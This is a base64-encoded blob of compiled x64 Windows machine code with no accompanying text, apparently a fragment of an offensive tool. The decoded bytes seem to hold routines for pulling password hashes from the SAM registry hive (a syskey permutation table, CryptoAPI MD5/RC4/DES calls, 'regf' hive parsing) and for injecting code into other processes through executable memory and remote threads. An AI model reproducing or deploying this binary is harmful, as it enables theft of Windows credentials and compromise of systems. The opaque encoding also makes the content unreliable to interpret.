QghIO0gIdQZMiUgI6xJIi0EISDsIdQVMiQjrBEyJSBBJiQlMiUkISItCCEA4eGgPhDb+//9Ji0IITIkDSItICEiLw0iLXCQwxkFoAUiDxCBfw0BXQVRBVUiD7EBIx0QkIP7///9IiVwkYEiJdCRoTIviSIv5uXAAAADoi9YCAEiL2EiJRCRwRTPtSIXAD4SvAAAASItHCEiJA0iLRwhIiUMISItPCEiJSxBmRIlraEiNcxhIhfYPhIEAAABJixQkSMdGGAcAAABMiW4QSIN+GAhyBUiLBusDSIvGZkSJKDPASIPJ/0iL+mbyr0j30UyNQf9Ii87ohLL//0mLVCQISMdGQAcAAABMiW44SIN+QAhyBkiLRijrBEiNRihmRIkoM8BIg8n/SIv6ZvKvSPfRTI1B/0iNTijoQrL//5BIi8PrMkyJbCRwSI1UJHBIjUwkKOh0zwIASI0V1ZYEAEiJVCQoSI0VUe0FAEiNTCQo6HcJAwDMSItcJGBIi3QkaEiDxEBBXUFcX8PMzEiLxEiJWAhXSIPsMEiLCTPbSI1AGIlY2IkYiVgISIv6RI1LBEyNRCRYSI0VsOEEAEiJRCQg/xVNTwYAhcB1EYN8JFAEdQqKRCRYswEiw4gHisNIi1wkQEiDxDBfw8zMzEiLxEiJWAhIiWgQSIlwGEiJeCBBVEiD7EAz20mL6EiL8olY8EyJQOiJWOBMjQUWBQUARTPJM9JMi+FIiVjY/xXUTgYAi/iFwHVGi00A6AqqAgCJXCQ4SIlsJDBMi9hIiQaLRQCJRCQoTI0F2QQFAEUzyTPSSYvMTIlcJCD/FZZOBgCL+IXAdAhIi87okNMCAIvP/xUAkAQASItcJFBIi2wkWEiLdCRghf9Ii3wkaA+UwEiDxEBBXMNAVUiL7EiD7CBIiwW4FgYASDPESIlF8EyNTeBMi9JMi8HHReALBgcBx0XkCAoOAMdF6AMFAg9MK8nHRewNCQwEuhAAAABDD7YEAUKKDBBBiAhJ/8BI/8p17EiLTfBIM8zom8wCAEiDxCBdw8xIiVwkIFVWV0FUQVVIjWwkyUiB7NAAAABIiwU9FgYASDPESIlFL0mL+EyL4kiL8TPbSI1N/0iNFfDgBABEjUMv6O/OAgBIjU3PSI0VDOEEAESNQyno284CAESNSwFIjU2vRTPAM9JIiV2vSIldp8dEJCAAAADw/xX4iwQAhcAPhOMAAABIi02vM8BEjWsQSIlFwIlFyGaJRcyIRc5IjUWnRTPJRTPAugOAAACIXb9IiUQkIESJbbf/Ff+LBABIi02nSI1XcEUzyUWLxf8V+4sEAEiLTadEjUMvSI1V/0Uzyf8V5osEAEiLTadFM8lFi8VJi9T/FdOLBABIi02nRI1DKUiNVc9FM8n/Fb6LBABIi02nTI1Nt0yNRb+NUwKJXCQg/xWNiwQASItNp/8Vk4sEAEiLTa8z0v8VP4sEAEyJbCQwSI2PgAAAAEyNRb9Fi81Bi9VIiXQkKMdEJCABaAAA6H+c//+K2IrDSItNL0gzzOgfywIASIucJBgBAABIgcTQAAAAQV1BXF9eXcNAVVNWV0FUQVVBVkFXSI1sJMhIgew4AQAASIsFsBQGAEgzxEiJRSBEiq2oAAAARTP/SYvZRIl8JHBBg3kEFEiLBbvfBABIiUXgD7cFuN8EAE2L4GaJReiKBa3fBABIi/KIRepIiwWm3wQATIvxSIlF8A+3BaDfBABBiv9miUX4igWV3wQAiEX6D4WzAwAARY1PAUiNTCR4RTPAM9JMiXwkeEyJfCRYx0QkIAAAAPD/FTSKBACFwA+EhQMAAEiLTCR4M8BFM8lIiUXRiUXZZolF3YhF30iNRCRYRTPAugOAAABEiH3Qx0QkcBAAAABIiUQkIP8VOIoEAEiLTCRYRY1HEEUzyUiL1v8VM4oEAEiLTCRYRY1HBEiNlaAAAABFM8n/FRqKBABIi0wkWEiNRfBIjVXgRYTtRY1HC0gPRNBFM8n/FfmJBABIi0wkWEyNTCRwTI1F0EGNVwJEiXwkIP8VxIkEAEiLTCRY/xXJiQQASItMJHgz0v8VdIkEAESLG0GNVxBIiVQkMEiNRQBMjUXQSIlEJChLjYwj0AAAAESLysdEJCABaAAA6Kua//+EwA+EjAIAAIu1oAAAAEiNVRBIjUwkQESL5ov+i95BwewIwe8QwesYQIh0JERAiHQkQESIZCRFRIhkJEFAiHwkRkCIfCRCiFwkQ+jkAgAASI1VGEiNTCRAiFwkRIhcJEBAiHQkRUCIdCRBRIhkJEZEiGQkQkCIfCRD6LUCAABBjXcBSI1MJFBBvQAAAPBFM8Az0kSLzkGK/0yJfCRQTIl8JEjHRCRACAAAAESJbCQg/xWGiAQAhcAPhNIBAABFjWcUx0QkYAgCAADHRCRkAWYAAEGLzOgmpQIASItMJGBFM8lIiQhIi00Qx0AICAAAAEiL2EiJSAxIi0wkUEiNRCRIRYvESIvTSIlEJCiJdCQg/xU2iAQAhcB0S0iLTCRISI1EJEBFM8lIiUQkKEiNRQBEi8Yz0kiJRCQg/xUciAQAhcB1Df8V0ooEAD0FAAmAdQmDfCRACEAPlMdIi0wkSP8V74cEAEiLy+hXzgIASItMJFAz0v8VyocEAECE/w+EDQEAAEiNTCRIRIvORTPAM9JBiv9MiXwkSEyJfCRQx0QkQAgAAABEiWwkIP8VjIcEAIXAD4TYAAAASYvMx0QkYAgCAADHRCRkAWYAAOgwpAIASItMJGBFM8lIiQhIi00Yx0AICAAAAEiL2EiJSAxIi0wkSEiNRCRQRYvESIvTSIlEJCiJdCQg/xVAhwQAhcB0S0iLTCRQSI1EJEBFM8lIiUQkKEiNRQhEi8Yz0kiJRCQg/xUmhwQAhcB1Df8V3IkEAD0FAAmAdQmDfCRACEAPlMdIi0wkUP8V+YYEAEiLy+hhzQIASItMJEgz0v8V1IYEAECE/3QbRTPJSI1VAEiNTahFjUEQQIr+i97oinYAAOs3QYr/6wW+AQAAAEiNFc/bBABIjU2ARTPAuwIAAABIx0WYBwAAAEyJfZBmRIl9gOh1qv//SI1FgEiL0EmLzujSuv//9sMCdCSD4/1Ig32YCHIJSItNgOjizAIASMdFmAcAAABMiX2QZkSJfYBAhN50EEiDfcAIcglIi02o6LzMAgBAisdIi00gSDPM6D3GAgBIgcQ4AQAAQV9BXkFdQVxfXltdw8xEigFEikkBTIvaTIvRikkCQYrA0OhBgOABiAJBisFBgOEDwOgCQcDgBkHA4QVECsCKwYDhB8DoA0SIQgHA4QRECshEiEoCQYpSA4rCgOIPwOgEwOIDCshBiEsDQYpKBIrBgOEfwOgFwOECCtBBiFMEQYpSBYrCgOI/wOgGAtIKyEGISwVBikoGisHA6AcK0IDhf7gIAAAAQYhLB0GIUwZB0CNJ/8NI/8h19fPDSIlcJAhIiXQkEFdIg+wgSIvySIvRTI0FeNoEAEiNTCRAM//oTM4CAIXAdWlIi0wkQESNRwIz0uj01QIAhcB1S0iLTCRA6NrUAgCLyIvY6M2hAgBIi0wkQEUzwDPSSIkG6MvVAgBMi0wkQEiLDkSNRwGL0+jU0gIASIP4AXUNSIsGgThyZWdmQA+Ux0iLTCRA6JPWAgBIi1wkMEiLdCQ4QIrHSIPEIF/DSIvESIlYCEiJaBBIiXAYSIl4IEFUSIPsIEiL6TP/SIvyRI1nWEGLzOgPzAIASIvYSIXAdA9Fi8Qz0kiLyOjSKQMA6wNIi99Ii1UASIvLTYvESIHCJBAAAOgXxwIASItVALhuawAASIHCcBAAAEiJU1BmOQN1F2aDewIsdRBMD79DSEiLzujWtP//QLcBSIvL6K/KAgBIi1wkMEiLbCQ4SIt0JEBAisdIi3wkSEiDxCBBXMPMSIlcJBBMiUQkGFVWV0FUQVVBVkFXSIPsMEyL6TP2SIv6RI12WEGLzuhbywIASIvYSIXAdA9Fi8Yz0kiLyOgeKQMA6wNIi95Ji1UASIvLTYvGSIHCJBAAAOhjxgIASYtFAEgFcBAAAEiJQ1C4bmsAAGY5Aw+F6QEAAGaDewIsD4XeAQAASIN/GBByA0iLP0iLz+j6VwQASI0Vo9gEAEiLyEiJRCQo6HrNAgBMD79DSEiLU1BIi8jolaYDAIXAD4WVAQAASI0VdtgEADPJ6FPNAgBMi+BIhcAPhGIBAACLexy5CAAAAIHHABAAAOh8zAIASYvOSImEJIgAAADobMwCALkQAAAASIlEJHDoXcwCAEhjz0iL6EmLRQBEi/4PEEQIBPMPf0UASYtFAEiNTAgISIlNCGY7dQIPjZQAAABMi/ZIi0UIQbhYAAAASYsMBkiLhCSIAAAASIkIi8FIi0wkcAUAEAAASGP4SYtFAEiNVDgE6ErFAgBJi1UASItEJHBIjVQ6UEmLzEiJUFBID79ASEyLwEiJRCQg6LOlAwCFwHUcSIPJ/zPASYv88q5I99FI/8lIO0wkIA+ExQAAAA+/RQJB/8dJg8YIRDv4D4xv////SItMJHDoGcgCAEiLzegRyAIAg83/Qb5YAAAAg/3/dESNhQAQAABIi8tFi8ZIY/hJi0UASI1UBwTossQCAEmLVQAzyUiNRBdQSI0VINcEAEiJQ1Do+8sCAEyL4EiFwA+FqP7//02F5HUeg/0BdBlIi4wkgAAAAEiL002LxkiLCehrxAIAQLYBSItMJCjokscCAEiLy+gmyAIASItcJHhAisZIg8QwQV9BXkFdQVxfXl3DSItMJHDoaMcCAEiLzehgxwIASIuEJIgAAACLKOlD////zEiJXCQQTIlMJCBIiUwkCFVWV0FUQVVBVkFXSIPsIEiL2TP2TYv4jW4gTIvyi83oscgCAEiL+EiFwHQPRIvFM9JIi8jodCYDAOsDSIv+QYtPJLgEAAAASPfhSMfB/////0gPQMFIi8jotJ0CAEGLTyhNY0ckTIvoSIsDgcEAEAAASGPJScHgAkiNVAEESYvN6IjDAgBEi+ZBOXckD4bAAAAASYvti0UASIvPQbggAAAABQAQAABIY9hIi0QkYEiLAEiNVBgE6FLDAgBIi0QkYEyLGEmNVBsYSIlXGEmDfhgQcgVJiw7rA0mLzk2LRhDouaMDAIXAdQtID79HAkk7RhB0D0H/xEiDxQRFO2ckc1Lrk4tHBEiLnCSAAAAAD7fAi8iJA+j4nAIAgzsFTGMDSIvISItEJHhIiQh9BkiNVwjrGItHCAUAEAAASGPQSItEJGBIiwBIjVQCBOi+wgIAQLYBSYvN6HvGAgBIi8/oe8YCAEiLXCRoQIrGSIPEIEFfQV5BXUFcX15dw8zMzEiJXCQISIlsJBBIiXQkGFdBVEFVSIPsQEiL8TPbTYvhjUtYTYvoSIvq6CrHAgBIi/hIhcB0FUSNQ1gz0kiLyOjsJAMASIl8JDDrBUiJXCQwTI1EJDBIi9VIi87ocPv//4TAdCJIi4QkgAAAAEyLRCQwTYvMSYvVSIvOSIlEJCDo8P3//4rYSItMJDDo0MUCAEiLbCRoSIt0JHCKw0iLXCRgSIPEQEFdQVxfw8xIiVwkCEiJbCQQSIl0JCBXQVRBVUFWQVdIg+xgSIsF6QgGAEgzxEiJRCRYM/9Ii9lIiUwkII1PEEmL8EyL+kSL9+hmxgIASIvoSIXAdAwzwEiJRQBIiUUI6wNIi+9BvFgAAABBi8zoQcYCAEyL6EiFwHQPRYvEM9JIi8joBCQDAOsDTIvvuQgAAADoHcYCAEyL4EiFwHQIM8BJiQQk6wNMi+dBOX8UD45ZAQAASIvXSIlUJChBi0ccQbhYAAAABQAQAABIY8hIiwMPEEQBBPMPf0UASIsDSI1EAQhJi81IiUUISIsEAkmJBCQFABAAAEhj2EiLRCQgSIsASI1UAwTo4MACAEiLRCQgTQ+/RUhMixhIjUwkMEiJfCRASo1UG1C7DwAAAECIfCQwSYlVUEiJXCRI6Jiu//9Mi14ISI1EJDBJO8NzXEiNRCQwSDkGd1JIjUwkMEi4Z2ZmZmZmZmZIKw5I9+lIi9pIwfsESIvDSMHoP0gD2Ew7XhB1CEiLzuhEAQAASIsGSI0Mm0iNFMhIi04ISIXJdDZIx0EYDwAAAOsgTDteEHUISIvO6BgBAABIi04ISIXJdBVIiVkYSI1UJDBIiXkQQIg56HYAAABIg0YIKEiDfCRIEHIKSItMJDDoz8MCAEiLVCQoSItcJCBB/8ZIg8IISIlUJChFO3cUD4yv/v//SIvN6KfDAgBIi04ISDkOD5XASItMJFhIM8zoIL0CAEyNXCRgSYtbMEmLazhJi3NISYvjQV9BXkFdQVxfw8zMSIlcJAhXSIPsIEiL+kiL2Ug7ynReSIN5GBByCEiLCehMwwIASINjEABIx0MYDwAAAMYDAEiDfxgQcxRMi0cQSIvXSIvLSf/A6FO/AgDrCkiLB0iJA0iDJwBIi0cQSIlDEEiLRxhIiUMYSINnEABIg2cYAEiLw0iLXCQwSIPEIF/DzMzMSIPsKEiLUQhJumdmZmZmZmZmTIvJSCsRSYvCSPfqTIvCScH4BEmLwEjB6D9MA8BIuGVmZmZmZmYGTDvAdg1IjQ3vwwQA6K6WAgDMSItJEEmLwkn/wEkrCUj36UjB+gRIi8JIweg/SAPQTDvCdi5Ii8pIuGZmZmZmZmYGSNHpSCvBSDvCcwQz0usDSAPRSTvQSYvJSQ9C0OgIAAAASIPEKMPMzMxBVEFVQVZIg+xASMdEJCD+////SIlcJGBIiXQkcEiJfCR4TIviSIvxSLhmZmZmZmZmBkg70HYNSI0NUsMEAOgRlgIAzEiLSRBIKw5JvmdmZmZmZmZmSYvGSPfpSMH6BEiLwkjB6D9IA9BJO9QPg94AAAAz/0iJfCRoTYXkdExLjQykSMHhA+i1wgIASIv4SIlEJGhIhcB1MkghRCRoSI1UJGhIjUwkKOhUvAIATI0dtYMEAEyJXCQoSI0VMdoFAEiNTCQo6Ff2AgCQTIvHSItWCEiLDuiTAAAAkEyLbghIix5Ji81IK8tJi8ZI9+lMi/JJwf4ESYvGSMHoP0wD8EiF23Qy6yNIg3sYEHIISIsL6DTBAgBIx0MYDwAAAEiDYxAAxgMASIPDKEk73XXYSIsO6BPBAgBLjQSkSI0Mx0iJThBLjQS2SI0Mx0iJTghIiT5Ii1wkYEiLdCRwSIt8JHhIg8RAQV5BXUFcw8zMTIlEJBhTVldIg+wwSMdEJCD+////SYvYSIvySIv5SIlcJGhIO/50Q0iF23QqSMdDGA8AAABIg2MQAEiDexgQcgVIiwPrA0iLw8YAAEiL10iLy+gV/f//SIPDKEiJXCRgSIPHKEiJfCRQ67hIi8NIg8QwX15bw8zMSIlcJBhIiXQkIFVXQVRIjWwkuUiB7JAAAABIiwWbAwYASDPESIlFP0iL2kiL8TP/SI0V0c4EAEiNTRdFM8BIx0UvBwAAAEiJfSdmiX0X6H2d//9IjVUXSIvL6CVgAACEwA+EXAEAAEiNVQdIjU0XQIh9B+hgYQAAhMAPhEMBAABAOH0HD4Q5AQAASItFJ0iLDkG5ABAAAEyNZAACM9LHRCQgQAAAAE2LxP8VXXwEAEiL2EiFwA+ECAEAAEiDfS8ITIsOSI1VF0gPQ1UXTYvESIvI6OUBAACEwA+EzwAAAEiNDUbOBAD/Ffh7BABIjRUpzgQASIvI/xXgewQASINND/+DPRA4BgAFTIvgdlpIjQ04zQQA/xXKewQASI0VI84EAEiLyP8VsnsEAEiJfCRISI1ND0iJTCRASIsOSIlcJDhMiWQkMEUzyUUzwDPSSIl8JChIiXwkIP/Qi8j/FXN7BABIi0UP6yNIiw5IiXwkMEyLyEUzwDPSiXwkKEiJXCQg/xVuewQASIlFD0iFwHQfSIP4/3QZg8r/SIvI/xVLewQASItND0C3Af8VDnsEAEiLDkG5AIAAAEUzwEiL0/8VQXsEAEiDfS8IcglIi00X6JG+AgBAisdIi00/SDPM6BK4AgBMjZwkkAAAAEmLWzBJi3M4SYvjQVxfXcPMzEiJXCQIV0iD7CBEiwFIi/oz0rk6BAAAM9v/FeF6BABIiUQkQEiFwHQaSI1MJEBIi9fozv3//0iLTCRAitj/FX16BACKw0iLXCQwSIPEIF/DSIlcJAhXSIPsMEmLwUmD+f9Ji/hNi8hMi9J1FUyLwUmL0UmLyuiSyQIAhcAPlMDrMkiNVCRYM9tNi8JIiVQkIEiL0UiLyEiJXCRY/xV/egQAhcB0DEg5fCRYdQW7AQAAAIrDSItcJEBIg8QwX8PMzEiJXCQISIlsJBBWV0FUSIPsQDPbSYvxSYv4TIviSIvpSYP5/3VITI1MJHhEjUZBSIvX/xUwegQAhcAPhJoAAABMi89Ni8RIi9dIi83o+8gCAESLRCR4TI1MJDCFwEiL10iLzQ+Uw/8V/HkEAOtsSI1EJHhIi9FBuUAAAABIi85IiUQkIP8V9ngEAIXAdExIjUQkOEyLz02LxEiL1UiLzkiJXCQ4SIlEJCD/FcF5BACFwHQJSDl8JDh1ArMBRItMJHhIjUQkMEyLx0iL1UiLzkiJRCQg/xWmeAQASItsJGiKw0iLXCRgSIPEQEFcX17DzEiLxEiJWAhIiWgQSIlwGEiJeCBBVEFVQVdIg+wgSIt0JGBIi9lJi/lIi85Ni/hMi+LotpICAEiJH0G1AUiL6DLbTYXkdCRIiwcz0jhUJGh0DEiNDAZJO8wPlsLrCUgrxkk7xA+TwoXSdE5FhO10SYTbdUVMi0wkcEiLD0yLxkiL1ega/v//RIrohMB0tEyLxkmL10iLzejdmAMAhcAPlMOE23WdikwkaPbZSBvAg+ACSP/ISAEH64lIi83o8LsCAITbdQRIgycASItsJEhIi3QkUEiLfCRYisNIi1wkQEiDxCBBX0FdQVzDzMzMSIlcJAhIiWwkEEiJdCQYV0FUQVVIg+xgQDL2QYvpTYvgSIvZTYXAD4TXAAAARYXJD4TOAAAASIvK/xUNeAQASIv4SIXAD4S5AAAA/xUreAQATI1EJEBBuRgAAABIi8hIi9f/FYR6BACFwA+ElAAAAEiLhCSoAAAASItUJEBMi+pIhcB0FkiL0EiLz/8Vs3cEAEiLVCRATIvY6wNMi9pNhdt0YYqMJLAAAACLRCRITIvLSQPFhMlNi8RID0XQSINMJDD/iEwkKEmLy0iJbCQg6ED+//9AivCEwHQlSGOMJKAAAABIAQuAvCS4AAAAAEiLE3URSGMKSI1UEQRIiRPrBEiDIwBMjVwkYECKxkmLWyBJi2soSYtzMEmL40FdQVxfw8zMzEiJXCQYSIl0JCBVV0FUSI2sJDD///9IgezQAQAASIsF3P0FAEgzxEiJhcAAAAAz/0iL2UiJOUiJeQhIiXkQRI1nB0iNTCQgSIl9WEyJZWBmiX1I6LwCAABIjVVISI1MJCDoEgcAAEyL2EiLAEhjSARJA8v2QRAGSA9Fz0iFyQ+EgQEAAI13IkiDfWAISI1FSEgPQ0VIZjkwD4UvAQAASIN9YAhMi01YSI1FSEgPQ0VIZkI5dEj+dUNIjVVISI1NIEmDwf5BuAEAAABMiWU4SIl9MGaJfSDoIZb//0iNVSBIi8vomYz//0iDfTgID4LnAAAASItNIOnLAAAASI2VmAAAAEiNTCQgRIvGTImlsAAAAEiJvagAAABmib2YAAAA6GAIAABJg8n/SI1VSEiNTXBFjUECTImliAAAAEiJvYAAAABmiX1w6LGV//9IjZWYAAAASI1NcEmDyf9FM8Do8gQAAEiNTSBMiWU4SIvQSIl9MGaJfSDoBqf//0iNVSBIi8vo+ov//0iDfTgIcglIi00g6BK5AgBIg72IAAAACEyJZThIiX0wZol9IHIJSItNcOjzuAIASIO9sAAAAAhyGkiLjZgAAADo3bgCAOsMSI1VSEiLy+jb1///SI1VSEiNTCQg6JEFAABMi9hIiwBIY0gESQPL9kEQBkgPRc9IhckPhYL+//9IjU246NbY//9MjR1LfQQASI1NuEyJXbjooocCAEiDfWAIcglIi01I6Ha4AgBIi8NIi43AAAAASDPM6PSxAgBMjZwk0AEAAEmLWzBJi3M4SYvjQVxfXcNAU0iD7CBIi0FASIvZSIsQSIXSdAhIi0FYiwjrAjPJg/kBfh1Ii0NY/whIi0NASIsISIPBAkiJCA+3AUiDxCBbw0iF0nQISItDWIsI6wIzyYXJfhlIi0NY/whIi0tASIsRSI1CAkiJAQ+3CusMSIsDSIvL/1A4D7fIuP//AABmO8F0LUiLS0BIgzkAdAhIi0NYixDrAjPShdJ+DEiLAQ+3AEiDxCBbw0iLA0iLy/9QMEiDxCBbw8zMSIlcJBBIiXQkGFdIg+wgg2QkMABIjQUpMAUASIv6SIkBSI0FrLkEAEiNURhIiUEQSI0FNXwEAEiL8UiJgZgAAADoKtn//0yLHkljQwRIjQ2gwwQASIkMMEiNThjoJ6T//0yNHeS4BABMiV4YSIN/GAhMi0cQcgNIiz9Ig6aIAAAAAIOmkAAAAABNhcB0DEiNThhIi9foRqj//0iLXCQ4SIvGSIt0JEBIg8QgX8PMzMxIiUwkCFdIg+wwSMdEJCD+////SIlcJEiK2kiL+UiLAUhjSARIA8+DeRAAD4UdAQAASItJUEiFyXQF6PmF//+E2w+F8wAAAEiLB0hjWAT2RDsYAQ+E4QAAAEiLXDtASIsbSIlcJFgz0kiNTCRQ6O6LAgBIi0MISIP4/3MHSP/ASIlDCEiNTCRQ6AOMAgBIjUwkWOg9vf//SIvYSI1MJFjoQIYCAJBIiwdIY0gESItMOUhMi0FASYM4AHQISItBWIsQ6wIz0oXSfglJiwBED7cA6wpIiwH/UDBED7fAuP//AABmQTvAdSdIiwdIY0gESAPPi1EQg8oBi8KDyARIg3lIAA9E0EUzwOgUdv//6xJIiwO6SAAAAEiLy/9QEITAdQLrGEiLB0hjSARIi0w5SOhl/f//66NIi3wkQEiLD0hjSQRIA8+DeRAAdQSwAesdi1EQg8oCi8KDyARIg3lIAA9E0EUzwOi3df//MsBIi1wkSEiDxDBfw8zMSIlcJAhIiWwkEEiJdCQYV0iD7CBIizkz7UiL2UiF/3Q1SItxCOsiSIN/GAhyCEiLD+g2tQIASMdHGAcAAABIiW8QZokvSIPHKEg7/nXZSIsL6Ba1AgBIi3QkQEiJK0iJawhIiWsQSItcJDBIi2wkOEiDxCBfw8zMSIvESIlYCEiJaBBIiXAYSIl4IEFUSIPsIEiLcQhIixlIi/lIO950W0iL7kg79nQYSIvVSIvL6JGi//9Ig8UoSIPDKEg77nXoSItvCEiL80g73XQrRTPkSIN+GAhyCEiLDuiOtAIASMdGGAcAAABMiWYQZkSJJkiDxihIO/V12EiJXwhIi1wkMEiLbCQ4SIt0JEBIi3wkSEiDxCBBXMPMzEiJXCQISIlsJBBIiXQkGFdBVEFVSIPsIEiLQhBJi/FNi+BIi+pIi9lJO8BzDUiNDVC1BADog4gCAMxJK8BMi0EQSTvBSA9C8EiDyP9JK8BIO8Z3DUiNDWG1BADoAIgCAMxFM+1IhfYPhJkAAABJjTwwSLj+////////f0g7+HYNSI0NNbUEAOjUhwIAzEg5eRhzCkiL1+ghtP//6xxIhf91HEiDeRgITIlpEHIFSIsB6wNIi8FmRIkoSIX/dEhIg30YCHIESIttAEiDexgIcgVIiwvrA0iLy0iLQxBMjQQ2So1UZQBIjQxB6JavAgBIg3sYCEiJexByBUiLA+sDSIvDZkSJLHhIi2wkSEiLdCRQSIvDSItcJEBIg8QgQV1BXF/DzMxIiUwkCFNWV0FUQVVBVkFXSIPsUEjHRCQ4/v///0yL+kiL+TP2iXQkJEUy7USIbCQgTIvxSIlMJEBIiwFMY0AESYtMCEhIhcl0BkiLAf9QCDPSSIvP6PL7//+EwA+EQgEAAEiLB0hjWARIi1w7QEiLG0iJnCSoAAAAM9JIjYwkoAAAAOgkiAIASItDCEiD+P9zB0j/wEiJQwhIjYwkoAAAAOg2iAIASI2MJKgAAADobbn//0iJRCQoSI2MJKgAAADoa4ICAEmDyP8z0kmLz+jBoP//kEiLD0hjSQRIi1w5KEi4/v///////39Ihdt+BUg72HIDSIvYSIlcJDBIi0w5SEyLQUBJgzgAdAhIi0FYixDrAjPShdJ+CUmLAEQPtyDrCkiLAf9QMEQPt+BIhdt0W7j//wAAZkE7xHUJg84BiXQkJOtHSItMJChIiwG6SAAAAEUPt8T/UBCEwHUvQQ+31EmLz+hnAgAAQbUBRIhsJCBI/8tIiVwkMEiLB0hjSARIi0w5SOha+f//65zrFkiLvCSQAAAAi3QkJESKbCQgTIt0JEBIiwdIY0gESINkOSgARYTtdQODzgJIiwdIY0gESAPPhfZ0GotREAvWi8KDyARIg3lIAA9E0EUzwOiLcf//SYsGSGNIBEqLTDFISIXJdAZIiwH/UBBIi8dIg8RQQV9BXkFdQVxfXlvDzEiLxEiJSAhBVEFVQVZIg+xASMdEJCj+////SIlYEEiJcBhIiXggRQ+38EyL6kiL+TPbiVjMQDL2QIhwyEyL4UiJTCQwSIsBTGNIBEmLTAlISIXJdAZIiwH/UAiyAUiLz+jb+f//hMAPhPYAAABJg8j/M9JJi83oDZ///0iLB0hjSARIi1Q5SEyLQkBJgzgAdAhIi0JYiwjrAjPJhcl+CEmLAA+3AOsJSIsCSIvK/1Awuf//AABmO8h1BYPLAetdZkE7xnVEQLYBQIh0JCBIiwdIY0gESItMOUhIi0FASIM4AHQISItBWIsQ6wIz0oXSfhBIi0FY/whIi0FASIMAAusfSIsB/1A46xdIuf7///////9/STlNEHIJg8sCiVwkJOs8D7fQSYvN6JcAAABAtgFAiHQkIEiLB0hjSARIi0w5SOiS9///6WX///9Ii3wkYItcJCRAinQkIEyLZCQwQIT2dQODywJIiwdIY0gESAPPhdt0GotREAvTi8KDyARIg3lIAA9E0EUzwOjSb///SYsEJEhjSARKi0whSEiFyXQGSIsB/1AQSIvHSItcJGhIi3QkcEiLfCR4SIPEQEFeQV1BXMPMSIlcJAhIiWwkEEiJdCQYV0iD7CBMi0EQSIPI/w+38kkrwEiL2UiD+AF3DUiNDZawBADoNYMCAMxJjXgBSLj+////////f0g7+HYNSI0NdrAEAOgVgwIAzDPtSDl5GHMKSIvX6GCv///rG0iF/3UbSIN5GAhIiWkQcgVIiwHrA0iLwWaJKEiF/3QuSIN7GAhIi0sQcgVIiwPrA0iLw2aJNEhIg3sYCEiJexByBUiLA+sDSIvDZokseEiLbCQ4SIt0JEBIi8NIi1wkMEiDxCBfw0iJXCQYVVZXQVRBVUFWQVdIjWwk8UiB7AABAABIiwXF8QUASDPESIlF/0yLfW8z20iL8o1DB0iL+UiL0UiNTCRwTYvxTYvoSIlFl0iJRb9EiuNIiV2PZolcJHBIiV23Zoldp+hwRAAAhMAPhP4AAACDfdMBD4SXAAAAg33TAw+EjQAAAEiLDf0KBgBIjRV+xAQA6FG3//9IjVWnSIvI6B0JAABIi8hIi9joygcAAEiLy+guff//M9tIjUwkQEmDyf9FM8BIi9ZIx0QkWAcAAABIiVwkUGaJXCRA6AWK//9Ei11/SItFd4tN60SJXCQwSIlEJChIjVQkQE2Lzk2LxUyJfCQg6HcBAABEiuDpzgAAAEiLDXAKBgBIjRVRxAQA6MS2//9Ii9dIi8jokQgAAEiNFS7EBABIi8joqrb//0iNVadIi8jodggAAEiNFdfDBABIi8joj7b//0iLyEiL2OgUBwAASIvL6Hh8///rb0iNTCRARTPAsgHoG0oAAEiLDQQKBgBIjRUVxAQASIvY6FW2//9Ii9dIi8joIggAAEiNFevDBABIi8joO7b//0iL00iLyOgICAAASIvISIvY6LUGAABIi8voGXz//0iDfCRYCHIKSItMJEDos6wCADPbSIN9vwhyCUiLTafooawCAEiDfZcIQb0HAAAASIldt0yJbb9miV2ncgpIi0wkcOh+rAIASIN/GAhMiW2XSIldj2aJXCRwcghIiw/oYqwCAEyJbxhIiV8QZokfSIN+GAhyCEiLDuhIrAIATIluGEiJXhBBisRmiR5Ii03/SDPM6L6lAgBIi5wkUAEAAEiBxAABAABBX0FeQV1BXF9eXcPMzMxAVVNWV0FVQVZBV0iNbCTgSIHsIAEAAEiLBUrvBQBIM8RIiUUYSIuFgAAAAEUz9kyJRCRgTDlyEEiJRCRYi4WQAAAAiUQkRA+UwIlMJECEwEiL+kyNRCRASI1MJHBJD0XWTIlMJFBFiu5Ix0W4BwAAAEyJdbBmRIl1oEjHReAHAAAATIl12GZEiXXI6AgYAACEwA+EjAIAAESLRCRATIt1iESLfZAz0o1KOP8V+GcEAEiL8EiFwA+EkQEAAEiLDUUIBgBIjRWuwgQA6Jm0//9Ii9dIi8joZgYAAEiNFYfCBABIi8jof7T//4tUJEBIi8jox3j//0iNFSCsBABIi8joZLT//0iLyEiL2OjpBAAASIvL6E16//9Ii0QkUEyLRCRgSINkJEgASIl0JDBLjRQ+TI1MJEhJi87GRCQoAUiJRCQg6BHu//9FM/aEwA+EngAAAEhjTCRETIuFiAAAAEiLVCRYSANMJEhMi87o+Oz//0iLDZEHBgBIjR1CwgQARIroSI0FMMIEAEiNFUnCBABFhO1ID0XY6M2z//9Ii9dIi8jomgUAAEiNFbvBBABIi8jos7P//4tUJEBIi8jo+3f//0iNFQDCBABIi8jomLP//0iL00iLyOiNs///SIvISIvY6BIEAABIi8vodnn//+tSSI1N8EUzwLIB6BpHAABIiw0DBwYASI0V3MEEAEiL2OhUs///SIvTSIvI6CEFAABIi8hIi9jozgMAAEiLy+gyef//SIN9CAhyCUiLTfDozqkCAEiLzv8VHWYEAOtVSI1N8EUzwLIB6L1GAABIiw2mBgYASI0Vt8EEAEiL2Oj3sv//SIvTSIvI6MQEAABIi8hIi9jocQMAAEiLy+jVeP//SIN9CAhyCUiLTfDocakCAEUz9kiDfeAIcglIi03I6F6pAgBIg324CEjHReAHAAAATIl12GZEiXXIcglIi02g6D2pAgBIg38YCEjHRbgHAAAATIl1sGZEiXWgcghIiw/oHakCAEjHRxgHAAAATIl3EEGKxWZEiTdIi00YSDPM6I6iAgBIgcQgAQAAQV9BXkFdX15bXcNIjU3wRTPAsgHo5kUAAEiLDc8FBgBIjRUAwQQASIvY6CCy//9Ii9NIi8jo7QMAAEiLyEiL2OiaAgAASIvL6P53//9Ig30ICA+CMf///0iLTfDolqgCAOkj////zEiLxEiJWAhIiXAQSIl4GFVBVEFVQVZBV0iNqAj///9IgezQAQAASIsFu+sFAEgzxEiJhcAAAAAz/413Bo1XATvOf2Z0X4XJdFb/yXRI/8l0N//JdCj/yXQT/8l1ao13BUSNZwJEivrpiAAAAL4FAAAARI1m/USK+kSK9+t6vgUAAABEjWb962m+BQAAAESL4kSK/+vjvgUAAABEi+fr1r4FAAAARIvn6+eD6Qd0QP/JdOj/yXQw/8l00//JdCP/yXUFRIvi651EinQkPUSKfCQ8RItsJDh